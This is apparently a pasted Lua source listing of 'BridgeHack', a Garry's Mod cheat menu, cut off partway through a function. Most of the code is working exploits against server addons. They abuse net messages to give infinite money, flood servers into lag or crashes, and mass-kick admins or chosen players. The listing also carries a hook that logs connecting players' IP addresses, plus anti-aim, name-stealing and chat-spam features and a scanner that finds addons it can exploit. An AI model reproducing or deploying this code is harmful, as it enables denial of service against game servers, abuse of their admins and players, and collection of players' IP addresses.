· 8 years ago · Jul 29, 2018, 05:16 AM
1local dversion=1.5
2local dlversion ="v1.5"
3local outdated = 0
4local devbuild = 0
5local pastecheck = 0 // 0 = Bueno 1 = No Bueno
6local crash = 0
7local ulx_spam=0
8local ply = LocalPlayer()
9
10// INSTALIZATION
11// FUNCTIONS
12
13surface.CreateFont( "PopupHFont", {
14 font = "Segoe UI Light",
15 size = 50,
16 weight = 1000,
17} )
18
19surface.CreateFont("HeaderFont", {
20 font = "Segoe UI Semilight",
21 size = 22,
22 weight = 300
23})
24
25surface.CreateFont("PopupFont", {
26 font = "Segoe UI Light",
27 size = 21,
28 weight = 300
29})
30
31surface.CreateFont("HeadingFont",{
32 font = "ChatFont",
33 size = 20,
34 weight = 500,
35 antialias = true,
36})
37
38function SoundClick()
39 if GetConVarNumber("bh_playsound") > 0 then
40 surface.PlaySound("buttons/lightswitch2.wav")
41 else
42end end
43
44function consoleP(message)
45 queries = queries + 1
46 MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
47end
48
49function SoundPop()
50 --buttons/blip1.wav
51 --buttons/button14.wav
52 --buttons/lightswitch2.wav
53 if GetConVarNumber("bh_playsound") > 0 then
54 surface.PlaySound("buttons/button14.wav")
55 else
56end end
57
58local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
59
60function HitBitches()
61 net.Start("hitcomplete")
62 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
63 net.SendToServer()
64end
65concommand.Add("bh_hithack", HitBitches)
66
67function clearcon()
68 for i=0, 100 do
69 print(" ")
70end end
71
72function cleardchat()
73 for i=0, 100 do
74 chat.AddText(" ")
75 end end
76
77--[[
78 Woo, Coloured chat messages!
79]]--
80function chatP(message)
81 queries = queries + 1
82 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
83 --status(message)
84end
85
86function chatPR(message)
87 queries = queries + 1
88 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
89 --status(message)
90end
91
92function chatPG(message)
93 queries = queries + 1
94 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
95 --status(message)
96end
97queries=1;
98http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
99 serverlist = body
100end,function( error )
101 chatP("Error accessing PasteBin!")
102end)
103
104http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
105 changelogs = body
106end,function( error )
107 chatP("Error accessing PasteBin!")
108end)
109
110function printchange()
111 consoleP(""..changelogs.."")
112end
113concommand.Add("bh_logs", printchange)
114
115--[[
116
117 PASTEBIN
118
119 CHECK
120
121
122]]--
123local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
124
125function CheckPastebin()
126 http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
127 bintext = body
128 local stringbin = ( tostring( bintext ))
129 if (StringM8 == stringbin) then
130 consoleP("Connection to PasteBin is good!")
131 else
132 pastecheck = 1
133 chatP("Connection to PasteBin is broken!")
134 chatP("BridgeHack needs PasteBin to properly work!")
135 end end) end
136--[[
137~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
138 --]]
139function VersionCheck()
140 http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
141 local findpos = string.find( HTML, "CVERSION =", 0, false )
142 if (findpos) then
143 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
144 if (pastecheck == 1) then
145 chatP("Can't check for newer versions because PasteBin is unaccessable!")
146 elseif ( version > dversion ) then
147 outdated = 1
148 chatP("Your version is out of date!" )
149 elseif ( version == dversion ) then
150 chatP("Your version is up to date." )
151 elseif (version < dversion) then
152 devbuild = 1
153 else
154 chatP("Error checking versions!")
155 end end end) end
156VersionCheck()
157
158/*
159 About Menu
160
161 Woo, learn about us.
162
163*/
164function AboutMenu()
165 local frame = vgui.Create("DFrame")
166 frame:SetSize( ScrW(), ScrH() )
167 frame:SetPos( 0,0 )
168 frame:SetVisible( true )
169 frame:SetDraggable( false )
170 frame:MakePopup()
171 frame:ShowCloseButton( false )
172 frame.Paint = function(s,w,h)
173 surface.SetDrawColor( Color(0,0,0,200) )
174 surface.DrawRect( 0,0, w,h )
175 surface.SetDrawColor( Color(0,230,255,150) )
176 surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
177 surface.SetTextColor(255,255,255)
178 surface.SetFont("PopupHFont")
179 surface.SetTextPos( w/5 , ScrH()/10 )
180 surface.DrawText("About BridgeHack")
181 surface.SetFont("PopupFont")
182 surface.SetTextPos( w/4, h/2.5)
183 surface.DrawText("BridgeHack, made by the Hax R' Us team.")
184 surface.SetTextPos( w/4, h/2.4 )
185 surface.DrawText("If we haven't said it enough, we'll say it again...")
186 surface.SetTextPos( w/4, h/2.3 )
187 surface.DrawText("The Hax R' Us team has worked VERY hard on this menu.")
188 surface.SetTextPos( w/4, h/2.2 )
189 surface.DrawText("We LOVE feedback, so please, take the time and send an email to team.")
190 surface.SetTextPos( w/4, h/2.1 )
191 surface.DrawText("haxrus1337@gmail.com")
192 surface.SetTextPos( w/4, h/2.0 )
193 surface.DrawText("Tell us what you think of the menu.")
194 end
195
196 button = vgui.Create("DButton", frame)
197 button:SetSize(110,32.5)
198 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
199 button:SetText("")
200 button.Paint = function(s,w,h)
201 surface.SetDrawColor( Color(255,255,255) )
202 surface.DrawRect( 0,0, w,h )
203 surface.SetDrawColor( Color(13,136,69) )
204 surface.DrawRect( 0+3,0+3, w-6,h-6 )
205 surface.SetTextColor(255,255,255)
206 surface.SetFont("PopupFont")
207 surface.SetTextPos(30.5,5.5)
208 surface.DrawText( "Alright!" )
209 end
210 button.DoClick = function(s,w,h)
211 frame:Close()
212 SoundClick()
213 end end
214/*
215
216 GUYS ITS FINALLY HERE!!!
217
218
219
220 BridgeHack WELCOME SCREEN!!!!!
221
222
223*/
224function WelcomeScreen()
225 local Popup = vgui.Create("DFrame")
226 Popup:SetSize( ScrW(), ScrH() )
227 Popup:SetPos( 0,0 )
228 Popup:SetVisible( true )
229 Popup:SetDraggable( false )
230 Popup:SetTitle( "" )
231 Popup:MakePopup()
232 Popup:ShowCloseButton( false )
233
234 Popup.Paint = function(s,w,h)
235 surface.SetDrawColor( Color(0,0,0,200) )
236 surface.DrawRect( 0,0, w,h )
237 surface.SetDrawColor( Color(13,136,69) )
238 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
239 surface.SetTextColor(255,255,255)
240 surface.SetTextPos(w/5.10, h/2.40)
241 if outdated == 0 then
242 surface.SetFont("PopupHFont")
243 surface.SetTextPos(w/5.10, h/3)
244 surface.DrawText("BridgeHack")
245 surface.SetFont("PopupFont")
246 surface.SetTextPos(w/5.10, h/2.50)
247 surface.DrawText( "The HaxRUs team hopes you do thoroughly enjoy using our menu!" )
248 surface.SetTextPos(w/5.10, h/2.40)
249 surface.DrawText( "Your version "..dlversion.." is up to date!" )
250 surface.SetTextPos(w/5.10, h/2.30)
251 surface.DrawText("Please, do not leak our menu.")
252 surface.SetTextPos(w/5.10, h/2.20)
253 surface.DrawText ( "We worked very hard on creating it." )
254 elseif outdated == 1 then
255 surface.SetFont("PopupFont")
256 surface.SetTextPos(w/5.10, h/2.50)
257 surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
258 else
259 surface.SetFont("PopupHFont")
260 surface.SetTextPos(10, 100)
261 surface.DrawText( "BridgeHack Version "..dlversion.."")
262 surface.SetFont("PopupFont")
263 surface.SetTextPos(w/5.10, h/2.50)
264 surface.DrawText( "Error" )
265 end end
266 button = vgui.Create("DButton", Popup)
267 button:SetSize(110,32.5)
268 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
269 button:SetText("")
270 button.Paint = function(s,w,h)
271 surface.SetDrawColor( Color(255,255,255) )
272 surface.DrawRect( 0,0, w,h )
273 surface.SetDrawColor( Color(13,136,69) )
274 surface.DrawRect( 0+3,0+3, w-6,h-6 )
275 surface.SetTextColor(255,255,255)
276 surface.SetFont("PopupFont")
277 surface.SetTextPos(30.5,5.5)
278 surface.DrawText( "Alright!" )
279 end
280
281 button.DoClick = function(s,w,h)
282 Popup:Close()
283 SoundClick()
284 end
285
286 logbutton = vgui.Create("DButton", Popup)
287 logbutton:SetSize(110,32.5)
288 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
289 logbutton:SetText("")
290 logbutton.Paint = function(s,w,h)
291 surface.SetDrawColor( Color(255,255,255) )
292 surface.DrawRect( 0,0, w,h )
293 surface.SetDrawColor( Color(13,170,181) )
294 surface.DrawRect( 0+3,0+3, w-6,h-6 )
295 surface.SetTextColor(255,255,255)
296 surface.SetFont("PopupFont")
297 surface.SetTextPos(10,5.5)
298 surface.DrawText( "Change Logs" )
299 end
300
301 logbutton.DoClick = function(s,w,h)
302 Popup:Close()
303 ChangeLogMenu()
304 SoundClick()
305 end end
306concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
307
308-- Version Menu It Looks PURDY
309
310function ChangeLogMenu()
311 local Panel = vgui.Create( "DFrame" )
312 Panel:SetSize( 800, 600 )
313 Panel:SetPos( ScrW(),ScrH() )
314 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
315 Panel:SetTitle( "" )
316 Panel:MakePopup()
317 Panel:ShowCloseButton( false )
318 function Panel:Paint( w, h )
319 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
320 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
321 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
322 end
323
324 local Button = vgui.Create("DButton", Panel)
325 Button:SetPos( 740, 10 )
326 Button:SetSize( 50, 25 )
327 Button:SetText( "" )
328 function Button:Paint( w, h )
329 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
330 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
331 end
332 Button.DoClick = function()
333 Panel:Close()
334 end
335
336 local Label = vgui.Create( "DLabel", Panel )
337 Label:SetColor( Color( 255, 255, 255, 255 ) )
338 Label:SetFont( "DermaLarge" )
339
340 if outdated == 1 then
341 Label:SetText( "Your version " ..dlversion.." is outdated!" )
342 Label:SetTextColor( Color( 255,0,0 ) )
343 elseif outdated == 0 then
344 Label:SetText( "Your version "..dlversion.." is up to date!" )
345 Label:SetTextColor( Color( 0,255,0 ) )
346 else
347 Label:SetText("Error receving version information!")
348 end
349
350 Label:SizeToContents()
351 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
352
353 local HTML = vgui.Create( "HTML", Panel )
354 HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
355 HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
356 HTML:SetPos( 25, 100 )
357 HTML.Paint = function()
358 surface.SetDrawColor( Color( 160, 160, 160) )
359 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
360 end end
361/*
362
363
364 END MENU
365
366
367*/
368local randomvar = math.Rand(0,9999999)
369local BridgeHack = {}
370BridgeHack.RandomVar = randomvar
371local sweg = LocalPlayer():GetEyeTrace().Entity
372local ply = LocalPlayer()
373ply:ConCommand("bh_welcome")
374timer.Destroy("changecolor")
375
376queries=1;
377function status(statu)-- Made for debugging things.
378 queries = queries + 1
379 if GetConVarNumber("bh_showhud") == 1 then
380 hook.Add( "HUDPaint", "drawcurrent", function()
381 surface.SetFont( "BudgetLabel" )
382 surface.SetTextColor( 255,255,255 )
383 surface.SetTextPos( 25, 25 )
384 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
385 end) end
386
387 if GetConVarNumber("bh_chat_status") == 1 then
388 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
389 end end
390
391function Debug(message)
392 queries = queries + 1
393 chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
394end
395
396local function CreateCvar(cvar, value)
397 CreateClientConVar(cvar, value)
398 consoleP("CVAR: " .. cvar .. " set to " .. value)
399end
400
401local function ResetCvar(cvar, value)
402 ply:ConCommand("" .. cvar .. " " .. value)
403 Debug("CVAR: " .. cvar .. " reset to " .. value)
404end
405
406CheckPastebin()
407CreateCvar("bh_notify", 1)
408CreateCvar("bh_ulxgag", 1, true, false)
409CreateCvar("bh_playsound",1)
410CreateCvar("bh_hitmenuammount",0)
411CreateCvar("bh_menu_effects", 1)
412CreateCvar("bh_firstload_correct", 1)
413CreateCvar("bh_chat_status", 0)
414CreateCvar("bh_cheats_enabled_on_start", 0)
415CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
416CreateCvar("bh_showhud", 0)
417CreateCvar("bh_esp",0)
418CreateCvar("bh_esp_box",1)
419CreateCvar("bh_debug",0)
420CreateCvar("bh_esp_hp",1)
421CreateCvar("bh_esp_rank",1)
422CreateCvar("bh_renderdistance_enable",0)
423CreateCvar("bh_esp_rdistance",2000)
424CreateCvar("bh_esp_infocolor_r",255)
425CreateCvar("bh_esp_infocolor_g",0)
426CreateCvar("bh_esp_infocolor_b",255)
427CreateCvar("bh_ratm_money2give",100000)
428
429
430if GetConVarNumber("bh_firstload_correct") == 1 then
431 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching BridgeHack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing BridgeHack, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to BridgeHack " .. ply:Nick() .. "!", "Click me to continue" )
432 ply:ConCommand("bh_firstload_correct 0")
433 chatP("Welcome to the world of BridgeHack.")
434
435else
436end
437
438if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
439 ply:ConCommand("incrementvar sv_cheats 0 1 1")
440 status("Enabled sv_cheats to 1")
441else
442end
443if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
444
445 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
446 status("Enabled sv_allowcslua to 1")
447else
448end
449
450// FIXES
451local oChatAddText = chat.AddText
452
453function chat.AddText( ... )
454 local cArgs = { ... };
455
456
457 for k, v in pairs( cArgs ) do
458 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
459 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
460 return false;
461 else
462 end
463 end
464 return oChatAddText( ... );
465end
466
467---------------------------------------// Global timers //---------------------------------------
468if GetConVarNumber("bh_showhud") == 1 then
469 hook.Add( "HUDPaint", "drawcursor", function()
470 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
471 surface.SetDrawColor(c)
472 surface.DrawLine(x - 10, y, x - 5, y)
473 surface.DrawLine(x, y + 5, x, y + 10)
474 surface.DrawLine(x + 10, y, x + 5, y)
475 end)
476
477 hook.Add( "HUDPaint", "drawabout", function()
478 surface.SetFont( "BudgetLabel" )
479 surface.SetTextColor( 46, 204, 113 )
480 surface.SetTextPos( 25, 15 )
481 surface.DrawText( "BridgeHack " .. dlversion )
482 end)
483
484 if GetConVarNumber("bh_debug") > 0 then
485 if system.IsWindows( ) == true then
486 hook.Add( "HUDPaint", "drawdev1", function()
487 surface.SetFont( "BudgetLabel" )
488 surface.SetTextColor( 231, 76, 60 )
489 surface.SetTextPos( 25, 47 )
490 surface.DrawText( "[] Server Operating System: Windows" )
491 end)
492 end
493
494 if system.IsLinux( ) == true then
495 hook.Add( "HUDPaint", "drawdev2", function()
496 surface.SetFont( "BudgetLabel" )
497 surface.SetTextColor( 231, 76, 60 )
498 surface.SetTextPos( 25, 47 )
499 surface.DrawText( "[] Server Operating System: Linux" )
500 end)
501 end
502
503 if system.IsOSX( ) == true then
504 hook.Add( "HUDPaint", "drawdev3", function()
505 surface.SetFont( "BudgetLabel" )
506 surface.SetTextColor( 231, 76, 60 )
507 surface.SetTextPos( 25, 47 )
508 surface.DrawText( "[] Server Operating System: OSX")
509 end)
510 end
511
512 hook.Add( "HUDPaint", "drawdev4", function()
513 surface.SetFont( "BudgetLabel" )
514 surface.SetTextColor( 231, 76, 60 )
515 surface.SetTextPos( 25, 47 )
516 surface.DrawText( "[] Server Operating System: Windows" )
517 end)
518
519 hook.Add( "HUDPaint", "drawdev5", function()
520 surface.SetFont( "BudgetLabel" )
521 surface.SetTextColor( 231, 76, 60 )
522 surface.SetTextPos( 25, 57 )
523 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
524 end)
525
526 hook.Add( "HUDPaint", "drawdev6", function()
527 surface.SetFont( "BudgetLabel" )
528 surface.SetTextColor( 231, 76, 60 )
529 surface.SetTextPos( 25, 67 )
530 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
531 end)
532
533 end
534end
535
536status("Starting")
537status("BridgeHack Loaded")
538
539for k,v in pairs(player.GetAll()) do
540
541 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
542 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
543 end
544consoleP("BridgeHack, by HaxRUs")
545consoleP(dlversion)
546
547// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
548// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
549
550concommand.Add("bh_hitmanxcrash", function ( ply )
551for i=0,300 do
552for k,v in pairs(player.GetAll()) do
553net.Start( "SendMoney" )
554net.WriteEntity( v )
555net.WriteEntity( v )
556net.WriteEntity( v )
557net.WriteString( "-100000000000000000000000000000000000000000" )
558net.SendToServer()
559
560end end end)
561
562
563function MagnetoThrow()
564-- Nice and easy, turn it slow 180
565 timer.Simple(.02,Turn)
566 timer.Simple(.04,Turn)
567 timer.Simple(.06,Turn)
568 timer.Simple(.08,Turn)
569 timer.Simple(.10,Turn)
570 timer.Simple(.12,Turn)
571 timer.Simple(.14,Turn)
572 timer.Simple(.16,Turn)
573 timer.Simple(.18,Turn)
574 timer.Simple(.20,Turn)
575 timer.Simple(.22,Turn)
576 timer.Simple(.24,Turn)
577 timer.Simple(.26,Turn)
578 timer.Simple(.28,Turn)
579 timer.Simple(.30,Turn)
580 timer.Simple(.32,Turn)
581 timer.Simple(.34,Turn)
582 timer.Simple(.36,Turn)
583-- OH MY GOD WHIP AROUND 180
584 timer.Simple(.46,TurnBack)
585
586 timer.Simple(.7,function() RunConsoleCommand("+attack") end)
587 timer.Simple(.72,function() RunConsoleCommand("-attack") end)
588end
589
590function Turn()
591
592 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
593end
594
595function TurnBack()
596
597 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,180,0))
598end
599
600concommand.Add("bh_360",MagnetoThrow)
601
602
603concommand.Add("bh_hitmanxinfa", function ( ply )
604for k,v in pairs(player.GetAll()) do
605net.Start( "SendMoney" )
606net.WriteEntity( v )
607net.WriteEntity( v )
608net.WriteEntity( v )
609net.WriteString( "-100000000000000000000000000000000000000000" )
610net.SendToServer()
611
612end end)
613
614concommand.Add("bh_hitmancrash",function()
615 for i=0,5000 do
616 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
617 end
618
619end)
620
621concommand.Add("bh_emp",function()
622net.Start("start_wd_emp")
623 net.SendToServer()
624end)
625
626concommand.Add("bh_ulxgag",function()
627 if(ulx and ulx.gagUser) then
628 if GetConVarNumber("bh_ulxgag") == 1 then
629 ulx.gagUser(LocalPlayer(),false)
630 else
631 end
632 else
633 end
634
635end)
636
637concommand.Add("bh_antiaim",function()
638 hook.Add("CreateMove",function(cmd, u)
639 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
640 local aa = cmd:GetViewAngles()
641 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
642end)
643
644end)
645
646
647concommand.Add("bh_infinite_all",function()
648 clearcon()
649 cleardchat()
650 chatP("Giving money, He he")
651for k,v in pairs(player.GetAll()) do
652net.Start( "BailOut" )
653 net.WriteEntity( v )
654 net.WriteEntity( v )
655 net.WriteFloat( -infinite )
656 net.SendToServer()
657 end
658
659end)
660
661concommand.Add("bh_ipsteal",function()
662hook.Add("PlayerConnect", "IPStealer", function(name, ip)
663 file.Append("ips.txt", name .. " - " .. ip .. "\n")
664end)
665
666end)
667
668local nlr = CreateClientConVar("bh_nlr_freeze", "0", true, false)
669
670local function nlrs()
671 if nlr:GetBool() then
672 for k,v in pairs(player.GetAll())do
673 if v != LocalPlayer() then
674 net.Start("NLR.ActionPlayer")
675 net.WriteEntity(v)
676 net.SendToServer()
677 end
678 end
679 end
680 end
681timer.Create("nlrs", 4,0,nlrs)
682
683LastTime = CurTime()
684
685function drawdatopscreen()
686 if GetConVarNumber("bh_notify") > 0 then
687 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
688 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
689 if sweg == 1 then
690 LastTime = CurTime()
691 end
692 draw.DrawText("BridgeHack (By Hax R Us) Loaded! | Any bugs? E-Mail haxrus1337@gmail.com! | Suggestions? We love feedback! E-Mail the Hax R Us team! | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
693 end
694end
695hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
696
697concommand.Add("bh_tp_spawn",function()
698 chatP("Teleported to spawn!")
699 consoleP("Teleported to spawn!")
700 status("Teleported to spawn!")
701 net.Start("DarkRP_Kun_ForceSpawn")
702 net.SendToServer()
703
704end)
705
706concommand.Add("bh_check",function()
707clearcon()
708cleardchat()
709chatP("Checking for exploitable addons...")
710if HIT then
711 chatPG("Hitman X | Found")
712else
713 chatPR("Hitman X | Not Found")
714end
715if HitMenu then
716 chatPG("Hit Menu | Found")
717else
718 chatPR("Hit Menu | Not Found")
719end
720if BAIL then
721 chatPG("BailNPC | Found")
722else
723 chatPR("BailNPC | Not Found")
724end
725if dLogs then
726 chatPG("DLOGS | Found")
727else
728 chatPR("DLOGS | Not Found")
729end
730if ChanNum then
731 chatPG("MXRadio| Found")
732else
733 chatPR("MXRadio | Not Found")
734end
735if VC_Menu_Info_Panel_Build then
736 chatPG("VCMD | Found")
737else
738 chatPR("VCMD | Not Found")
739end
740if MDE then
741 chatPG("MDE | Found")
742else
743 chatPR("MDE | Not Found")
744end
745if NLR then
746 chatPG("NLR | Found")
747else
748 chatPR("NLR | Not Found")
749end
750if Warnings_for_kick then
751 chatPG("ULX Extended | Found")
752else
753 chatPR("ULX Extended | Not Found")
754end
755
756end)
757
758function reloadeddunkalladmins()
759clearcon()
760chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
761timer.Create( "heymnangng", 3, 0, function()
762for k,v in ipairs(player.GetAll()) do
763if( v:GetUserGroup() != "user" ) then
764if v:Nick() != "Gam" then
765for i=0, 700 do
766net.Start( "GetCar" )
767net.WriteEntity(v)
768net.WriteEntity(v)
769net.SendToServer()
770end
771chatP('Kicked: '.. v:Nick().. "!")
772end end end end)end
773concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
774
775function dloglag()
776clearcon()
777print("Lagging server.")
778clearcon()
779print("Lagging server..")
780clearcon()
781print("Lagging server...")
782timer.Create( "dlogsisfucked", 3, 0, function()
783for i=0, 7000 do
784local tosend = {
785 cmd="+forward",
786 args=" "
787
788 }
789 net.Start('dLogsGetCommand')
790 net.WriteTable(tosend)
791 net.SendToServer()
792
793end end) end
794
795concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
796concommand.Add( "bh_dlogs_lag_off", function()
797 clearcon()
798 consoleP("Stopping the lag...")
799 chatP("Stopping the lag...")
800 timer.Destroy("dlogisfucked")
801end)
802
803concommand.Add("bh_admins", function()
804clearcon()
805chatP("Listing non-players..")
806chatP("Check console.")
807consoleP("============= ULX | Custom admin mode RANKS ============")
808for k,v in pairs(player.GetAll()) do
809 if( v:GetUserGroup() != "user" ) then
810 print(v:Nick().. " | ".. v:GetUserGroup())
811 end
812end
813consoleP("========================================================")
814end)
815
816local Spammer = CreateClientConVar("bh_advert", "0", true, false)
817
818local function Spam()
819 if Spammer:GetBool() then
820 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
821 end end
822timer.Create("Spam", 1.5,0,Spam)
823
824local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
825function kickdaplayer()
826timer.Create( "heymnangng2", 3, 0, function()
827for k,v in ipairs(player.GetAll()) do
828if v:Nick() == GetConVar("g_mx_playername") then
829clearcon()
830print("Kicking: ")
831print(v:Nick())
832for i=0, 700 do
833net.Start( "GetCar" )
834net.WriteEntity(v)
835net.WriteEntity(v)
836net.SendToServer()
837end
838chatP("Kicked ".. v:Nick())
839consoleP("Kicked ".. v:Nick())
840end end end) end
841concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
842
843concommand.Add("Bh_clearcon",function()
844 clearcon()
845
846end)
847
848concommand.Add("Bh_clearchat",function()
849 cleardchat()
850
851end)
852
853
854concommand.Add("bh_3dcardealer_spamstore",function()
855 chatP("You better be looking at a car")
856 for i=0,100 do
857 clearcon()
858 chatP("Spamming store... ".."["..i.."]")
859 net.Start( "RXCAR_Shop_Sell_C2S" )
860 net.WriteTable({EAA=sweg, CDAA})
861 net.SendToServer()
862 end
863
864end)
865
866concommand.Add("bh_serverlist",function()
867 status("Printing lise to console...")
868 chatP("Check console.")
869 clearcon()
870 consoleP(""..serverlist.."")
871 status("Complete")
872
873end)
874
875function CheckAE()
876
877 if requestTables then
878 print("ae found, bh_ae will work")
879 chatP("AE was found, bh_ae will work.")
880 else
881 chatP("AE was not found, bh_ae will not work.")
882 end end
883concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
884
885concommand.Add("bh_ae_kickadmins",function()
886clearcon()
887chatP("Attempting to Kick admins")
888chatP("This will only work on admins+")
889timer.Create( "aekickdaskids", 3, 0, function()
890for k,v in ipairs(player.GetAll()) do
891if( v:GetUserGroup() != "user" ) then
892if( v:GetUserGroup() != "vip" ) then
893for i=0, 1000 do
894net.Start('plyWarning')
895 net.WriteEntity(v)
896 net.WriteString('You have to select a player before doing a action.')
897 net.SendToServer()
898end
899chatP('Attempting to kick: '.. v:Nick().. "!")
900
901end end end end) end)
902
903concommand.Add("bh_namesteal_on",function()
904 status("Running Script: Random Name Change [name steal]....")
905
906 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
907 local plylastname = ply:Nick()
908 for k,v in pairs(player.GetAll()) do
909 local ligger_type = math.random(1,2)
910 local ligger_type1 = math.random(1,2)
911 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
912 if ligger_type1 == ligger_type then
913 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
914 if plylastname == v:Nick() then
915 local ligger_type = math.random(1,2)
916 local ligger_type1 = math.random(1,2)
917 else
918 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
919 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
920 end
921 local ligger_type = math.random(1,2)
922 local ligger_type1 = math.random(1,2)
923 end end end) end)
924
925concommand.Add("bh_namesteal_off",function()
926 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
927 end) end)
928
929concommand.Add("bh_removelookingat",function()
930 chatP("Removing prop looking at...")
931 net.Start( "MDE_RemoveStuff_C2S" )
932 net.WriteTable( {DATA="",TARGET=sweg} )
933 net.SendToServer()
934
935end)
936
937concommand.Add("__bh_lagdarkrpdashit",function()
938 chatP("Starting the lag...")
939 timer.Create("lag"..BridgeHack.RandomVar, 1, 0, function()
940 for i=1,10000 do
941 net.Start("DarkRP_spawnPocket")
942 net.SendToServer()
943 end
944 status("PROGRESS[10000/10000]")
945
946 end) end)
947
948concommand.Add( "__bh_stopplag",function( )
949 chatP("Stopping the lag...")
950 timer.Destroy("lag"..BridgeHack.RandomVar)
951end)
952
953if dspam == true then
954 chatP("Spam split / make shipment ON")
955 timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
956 for k,v in pairs(ents.GetAll()) do
957 if v.Entity:GetString() == "spawned_shipment" then
958 status("Splitting shipment")
959 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
960 elseif v.Entity:GetClassName() == "spawned_weapon" then
961 status("Making shipment")
962 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
963 end end end) end
964
965if dspam == false then
966 chatP("Spam split / make shipment OFF")
967 timer.Simple(1,function()
968 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
969 end) end) end
970
971concommand.Add("bh_kun_ziptie_untie",function()
972 chatP("Untieing...")
973 for i=0,30 do
974 net.Start("Kun_ZiptieStruggle")
975 net.SendToServer()
976 end
977end)
978
979concommand.Add("___darkrpshipments", function()
980 if dspam != true then
981 dspam = true
982 elseif dspam == true then
983 dspam = false
984 end end)
985
986local function BridgeHackCHECK(v)
987 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
988 return true
989 else
990 return false
